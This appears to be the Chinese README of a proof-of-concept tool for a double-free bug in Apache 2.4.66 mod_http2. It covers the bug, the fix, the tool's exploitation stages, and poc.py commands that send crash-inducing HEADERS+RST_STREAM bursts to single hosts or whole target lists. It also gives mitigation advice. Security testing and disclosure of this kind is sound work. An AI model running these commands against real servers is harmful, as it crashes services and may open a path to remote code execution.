影响: Apache HTTP Server 2.4.66 搭配 mod_http2 + Event MPM
修复版本: Apache 2.4.67 (mod_h2 v2.0.37)
CVSS 3.1: 8.8 高 — 可能实现未认证的远程代码执行
CWE: CWE-415 (双重释放)
Apache 2.4.66 中的 mod_http2 在 h2_mplx.c:m_stream_cleanup() 函数中存在一个双重释放漏洞。当客户端在同一流上先发送 HEADERS 帧紧接着发送 RST_STREAM 时,问题便会出现。如果时机恰好,该流会被两次推入 m->spurge 清理数组。当 mplx 被销毁时,APR 池被释放两次,导致堆损坏并引发 SIGABRT 或 SIGSEGV。
Apache 在 mod_h2 v2.0.37 中通过引入 add_for_purge() 修复了此问题,该函数执行简单的去重检查,防止同一流被两次添加。
// Vulnerable (< v2.0.37)
APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream; // can happen twice
// Fixed (v2.0.37+)
static int add_for_purge(h2_mplx *m, h2_stream *stream) {
for (int i = 0; i < m->spurge->nelts; ++i)
if (APR_ARRAY_IDX(m->spurge, i, h2_stream*) == stream)
return FALSE;
APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream;
return TRUE;
}
默认情况下,脚本对目标执行三个阶段:
| 阶段 | 功能描述 |
|---|---|
| 1 — 侦察 | 检测 Apache 版本、通过 ALPN 检测 HTTP/2 支持、MPM 类型 |
| 2 — 利用 | 发送线程化的 HEADERS+RST_STREAM 突发,依次尝试内联模式和分段模式 |
| 3 — RCE 评估 | 测量崩溃一致性并评估风险等级 |
RCE 得分由三个可远程检测的信号计算而来。第一,是否运行着 Apache 2.4.66。第二,是否使用了 Event 或 Worker MPM(mod_http2 拒绝与 Prefork 一起启动,因此如果 HTTP/2 工作,则说明是线程化 MPM)。第三,崩溃的确定性——第一轮就崩溃意味着堆损坏可控且可重现,这正是 RCE 所需的条件。
pip install hpack requests
# Full PoC on a single target (default behavior)
python poc.py -t 192.168.1.100
# Increase pressure with more rounds, bigger bursts and more threads
python poc.py -t 192.168.1.100 -n 20 -b 500 -w 5
# Passive check only, nothing is sent to the target
python poc.py -t example.com --check-only
# Scan a whole list of targets
python poc.py -l sites.txt -o results.json
# Passive check on a list
python poc.py -l sites.txt --check-only
# Generate a Markdown report after the run
python poc.py -t target.com --report report.md
# one target per line, comments are ignored
192.168.1.100
example.com
example.com:8443
https://example.com
http://example.com:8080
正确的修复方法是升级 Apache 到 2.4.67 或更高版本。如果无法立即升级,禁用 HTTP/2 可以完全消除攻击面:
# Before
Protocols h2 http/1.1
# After (disables HTTP/2)
Protocols http/1.1
此工具仅用于授权的安全测试和研究。在使用前,请确保已获得针对目标的明确书面授权。作者不对滥用行为承担任何责任。
| 参数 | 默认值 | 描述 |
|---|
-t | — | 单个目标(主机名或 IP) |
-l | — | 包含目标列表的文件,每行一个 |
-p | 443 | 端口 |
-n | 10 | 利用轮次数量 |
-b | 200 | 每轮 HEADERS+RST 对的数量 |
-w | 3 | 每轮并行连接数 |
-d | 0.1 | 轮次之间的延迟(秒) |
-m | inline | 攻击模式:inline 或 staged |
--no-tls | — | 使用 h2c 而非 TLS |
--check-only | — | 仅被动侦察,不进行利用 |
-o | — | 将结果保存为 JSON 文件 |
--report | — | 生成 Markdown 报告 |
-v | — | 详细输出 |
| 等级 | 含义 |
|---|
| 严重 | 确认 2.4.66,HTTP/2 激活,检测到 Event MPM,崩溃确定——立即打补丁 |
| 高 | 确认 2.4.66,HTTP/2 激活,正在使用线程化 MPM |
| 中 | 检测到 2.4.66 但 HTTP/2 或崩溃尚未确认 |
| 低 | 版本不匹配或未检测到 HTTP/2 |
| 无 | 已升级到 2.4.67+ 或不受影响 |